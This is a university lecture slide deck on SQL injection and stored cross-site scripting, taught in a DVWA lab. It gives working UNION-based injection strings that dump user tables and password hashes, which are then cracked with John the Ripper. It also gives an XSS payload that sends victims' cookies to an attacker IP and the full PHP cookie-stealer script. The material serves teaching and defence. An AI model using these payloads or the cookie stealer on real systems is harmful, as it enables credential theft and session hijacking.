1. Web Applications Attacks A: SQL Injection Stored Cross Site Scripting Prof. Reuven Aviv Department of Computer Science Tel Hai Academic College Topics in Data Communications

2. Contents 1. Hacking Lab Setup 2. SQL Injection Attack 3. Stored Cross Site Scripting Attack References: Engbretson: The basics of Hacking and Penetration Testing Stuttard: Web Applications Hacker’s Handbook http://www.computersecuritystudent.com/HOME/index.ht ml

3. Hacking Lab Setup

4. The Single Machine Penetration Testing Lab (1) Windows 7 Host Vmware Player virtualization application Variety of linux and winxp guest operating systems run on top of vmware – 1. Fedora 14, hosting the DVWA database application Applications with well defined vulnerabilities Designed for studying vulnerabilities and exploits – Damn Vulnerable Web Application

5. DVWA: Damn Vulnerable Web Application 3 security levels: low, medium, high Code compare option

6. The Single Machine Penetration Testing Lab (2) 2. Backtrack 5 – An ubuntu based linux, enriched with many attacking utilities Designed for testing attacks Linux on steroids In this lecture Backtrack will usually be the attacker, and the vulnerable web applications will be on Fedora14/DVWA

7. Backtrack5

8. The Single Machine Penetration Testing Lab (2) 3. Windows XP SP2 (un patched) – Has severe vulnerabilities Mostly for testing attacks with Metasploit Framework Other guest operating systems – Ubuntu 11.10 – Ubuntu 10.10 Usually serve as users, sometimes as victims and sometimes as associates of the attacker

9. SQL Injection

10. The dynamics of a web page

11. 1.user supply data (via a form element or URL) 2. Browser sends HTTP Request with the data to Web Server 3. The Web server pass the data to the appropriate application (e.g. PHP script) 4. application sends an SQL Query, based on the supplied data, to the MySQL Database Management System (DBMS)

12. The dynamics of a web page 5. MySQL DBMS interrogates the database, construct a reply and sends it back to the Application 6. Application constructs an html page, based on the result, passes it to the web server 7. The Web Server sends the html page to browser 8. Browser renders the web page (shows to the user) Note: html page might contains client-side scripts (Javascript); the browser then runs the script, which updates the page, and then displays it

13. SQL Injection Attack: Basic Idea If User data is not checked, malicious user can insert a payload (SQL program code) to its data The user data will be sent to the MySQL processor that will execute it. Replies from the MySQL processor get back to the PHP Application The reply might: – Reveal information from the database – Change the database – Give control over the OS of the Web server – And more

14. In this exercise Attacker: Backtrack5 R1 Victim: Fedora 14, DVWA: user search application – Vulnerability: No input check We will Inject code into the MySQL database We will get information about the structure of the database such as table contents, user names and MD5 hashed passwords We will use John The Ripper to crack the passwords

15. The Search Application window Insert to the form: 1 – User_id, a number Output: For all users that their records in the database have value of (user_id = 1) as TRUE print their first name, last name and their id

16. Example: Getting the ID =1 user info The SQL Query is: ′′ SELECT first_name, Surname FROM users WHERE user_id = ' 1' ′′ MySQL searches the users table to find a record with (user_id =1) is TRUE; replies withthe other two fields in the table: first_name, Surname

17. The OR “=‘ test for vulnerability Insert to the form: a’ OR “=‘ The SQL Query is: ′′ SELECT first_name, Surname FROM users WHERE user_id = ' a' OR ''='' ′′ What will be the result?

18. The OR “ = ‘ test: Result

19. The OR “=‘ Test: explanation MySQL searches the users table to find a records with (user_id = ' a' OR ''='') is TRUE; sends back the other two fields in the table: first_name, Surname ''='' statement has the value TRUE empty string on both sides of the equal sign. (user_id = 'a' )OR (''='' ) has always the value TRUE The value of a is not relevant all records in data base have the value TRUE for the WHERE clause

20. Using UNION: Finding Current MySQL Version Insert: a' UNION SELECT null, @@version;# The query returns two values Empty string for first_name (due to the null) The version number SQL in Surname

21. Using UNION to insert a 2 nd SQL Query The query is: ′′SELECT first_name, last_name FROM users WHERE user_id = 'a' UNION SELECT 1, @@version;#'′′ UNION returns records of the two SELECT queries one after the other; Number of columns in the second query must match the number in the first query (here 2); otherwise error. – Field titles (First name, surname) are from the 1 st query 1 st SELECT provides no results 2 nd SELECT has first item as (arbitrary) null Second item is the database version

22. Finding name of Database, & location of database files Insert: ′ UNION SELECT database(), @@datadir;# Result: 1 st SELECT provides no results 2 nd SELECT: first_name (Database name): dvwa Surname (Directory of files in the Operating System): /var/lib/mysql/

23. Getting the database user Insert: a’ AND 1=0 UNION SELECT null, user() # user() returns the name of the remote user that runs the sql process. That determines its privileges In this case it is root

24. Find all table names Insert: a’ AND 1=0 UNION SELECT table_name, table_schema FROM information_schema.tables; # The information_schema contains the meta-data of the database: table names, column names, privileges tables, etc. Here we want the names of all the tables. For each we want the table_name and the database it belongs to (the table_schema)

25. List of tables and their ‘databases’ databases: information_schema, dvwa, mysql

26. Find all tables that start with ‘user’ Insert to the form: a’ AND 1=0 UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_name like ‘user%’ #

27. Tables that start with ‘user’ user_privileges (information_schema database) users (dvwa database) user (mysql database)

28. Find Columns of table ‘dvwa:users’ Insert: a’ AND 1=0 UNION SELECT concat_WS(‘:’, table_schema, table_name), column_name FROM information_schema.columns WHERE table_name = ‘users’ # concat(separator, valu1, value2, …) concatenates string values, With Separator to one string (here because we can get only 2 values)

29. Column names of table ‘dvwa:users’ user_id, first_name, last_name, user, password, avatar

30. Find Contents of dvwa:users table Insert to the form: a’ AND 1=0 UNION SELECT concat_WS(‘:’first_name, last_name), concat_WS(‘:’,user, password) FROM users; #

31. Contents of dvwa:users table The second field is username:password

32. Collect the user:password values to the file dvwa_passwd.txt

33. Cracking the passwords using John The Ripper Here we assume that the password are kept as MD5 hash

34. Stored Cross Site Scripting Attack

35. Mechanism of Stored Cross Site Scripting Attacks One user (the Hacker) attacks an un-suspecting user that access the same vulnerable webpage The attacker insert a script (instead of a string) that is stored in the server (usually in a database) The script is downloaded to the victim’s browser whenever it access the same application

36. Stored Cross Site Scripting Attack example Application: Guest book User visits a web page, write a message Messages stored in a backend database Whenever a user (victim) accesses the guestbook, all previous messages downloaded to that user browser Malicious user (the attacker) could insert a javascript message (also called payload) When the payload is downloaded to a victim user’s browser, it executes and does bad things – Connect to a malicious website, steal cookie,,,,

37. This exercise: Attacking other users Attacker: Backtrack5 R1 Vulnerable Application on Fedora 14/DVWA webserver: stored cross site scripting, (a guest book application) – The vulnerability: user input not checked, or filtered Victims: Other users using the same application We will exploit the vulnerability to attack other users using the same application – Inject code, direct to other websites, steal cookies

38. User abi access the vulnerable Application (Guestbook) page, writes a message User info: Name, Message

39. Result Previous initial messages and abi’s message are downloaded to abi’s browser

40. Now John (attacker) inserts a script Insert (a javascript): Hi all alert(“Alert from John”) This will serve as a test whether the application checks its data

41. The script is executed on John’s browser The application sends the script to the browser, which executes it The test is successful; The application does not check, filter, sanitize the User input

42. Inserting a foreign page to the web browser of victim Insert in the message field: iframe embeds inline other document in the webpage; here, the cnn home page

43. Embedding an inline document This could be any malicious website

44. Inserting another foreign page Insert in the message field: HI GUYS GO TO THE Secmaniac WEBSITE HOME OF THE SOCIAL ENGINEER TOOLKIT (SET)

45. The user gets a surprise new frame

46. Cookie Stealing: Attempt 1: (failed) Victim login to website DVWA, gets a cookie. Attacker sends email to the victim, persuade the victim to click on this “interesting (attacker’s) site” Victim clicks, redirected to that attacker’s site The Attacker site’s HTTP responds with a malicious script that commands the browser to send him the cookie generated by another (the DVWA) site. But a browser is allowed to send cookie only if the commanding javascript came from the same site that originally created the cookie (Same Origin Policy) We need to send script from the DVWA application

47. Cookie Stealing: Attempt 2 Attacker installs a script in DVWA application, downloaded to a victim user. The script has a link. By clicking on it, the victim’s browser sends a GET request to load another page (from the attacker’s website) Since the script came from DVWA application, trusted by the victim’s browser, the cookie (previously received from DVWA application) is automatically sent in this GET packet. The HTTP request is received and processed by a CookieStealer.php script on the attacker’s website.

48. redirect users to a cookie stealing page Insert the message: a very interesting site http://192.168.19.128/ CookieStealer.php; The address above is that of the attacker website CookieStealer.php script copies the cookie of whoever accesses the script

49. The user’s message has a link Other users will see the link ( a very interesting site) They might be tempted to click on it

50. The link reappear every time a user sends a message Another user accessed the guestbook This new user clicks on the link…

51. The user was redirected to the malicious site

52. A direct method for stealing the user’s cookie Insert into the message field: document.location=‘http://192.168.19.128/Cookie Stealer.php?cookie=‘+document.cookie; CookieStealer.php gets the value of the cookie parameter that holds the cookie associated with the current webpage; value is stored in the browser’s host in the document.cookie property

53. The response from the Attacker’s CookieStealer.php Application

54. A new user (Ubuntu) log in to the DVWA web application

55. The Ubuntu user clicks on the Stored XSS application (the guestbook application)

56. The new user is redirected to the Attacker website As soon as the new user accesses the application for the first time, the script is downloaded to his browser, and he is redirected to the malicious (or faked) attacker’s website

57. Collecting the cookies of the victims On the attacker host (backtrack), at /var/www: – CookieStealer.php application – log.txt file contains the cookies of the victims

58. A simple cookiestealer.php Cookie Stealer <?php $cookie = $_GET['cookie']; $log = fopen("log.txt","a"); fwrite($log, $cookie "\n"); fclose($log); echo 'You have been hacked. You are now visiting MY WEBSITE I am now copying your DVWA cookie Your attacker Please click here http://192.168.19.129/dvwa to go back to the DVWA website ' ?>